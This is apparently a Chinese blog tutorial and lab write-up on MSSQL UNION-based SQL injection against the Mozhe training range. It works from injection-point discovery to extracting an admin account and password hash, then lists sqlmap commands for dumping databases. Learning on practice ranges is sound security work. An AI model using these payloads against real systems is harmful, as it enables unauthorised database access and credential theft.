mssql联合注入


mssql实战联合注入

刚开始学习mssql联合注入的时候用到的是墨者的靶场做的实验。

注释

显示位用null表示
union select null,null,null,null
加单引号一个个试’
union select null,’null’,null,null
联合查询加all,
union all select null,null,null,null

寻找注入点

1
11
111

猜测列数:

2

寻找回显位:

and 1=2 union all select null,null,’3’,null and 1=2 和 -2是一样的效果
22

查询版本信息:

and 1=2 union all select null,(select @@version),’3’,null
banben

查询库:

and 1=2 union all select null,(select db_name()),’3’,null
ku

查询表:

and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),’3’,null

查询下一个表:利用top 和 <>

biao

查询列:

and 1=2 union all select null,column_name,’3’,null from information_schema.columns where table_name=’manage’
id

查询里面的字段:

and 1=2 union all select null,(select top 1 col_name (object_id(‘manage’),1) from sysobjects),’3’,null
name

pass

查询账号密码:

and 1=2 union all select null,(select top 1 password from manage),’3’,null
zhanghao

mima

账号 :admin_mz
密码 :72e1bfc3f01b7583

常用sqlmap注入

常用命令:

测试注入:python sqlmap.py -u "url"

注数据库:

python sqlmap.py -u "url" --dbs

注当前数据库:

python sqlmap.py -u "url" --current-db

注当前数据库用户名:

python sqlmap.py -u "url" --current-user

注表名:

python sqlmap.py -u "url" -D 库名 --tables

注列名:

python sqlmap.py -u "url" -D 库名 -T 表名 --columns

注数据:

python sqlmap.py -u "url" -D 库名 -T 表名 -C 列名,列名 --dump

查询表条数:

python sqlmap.py -u "url" --count -D 当前数据库名

文章作者: yunhea
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yunhea !
评论
评论
  目录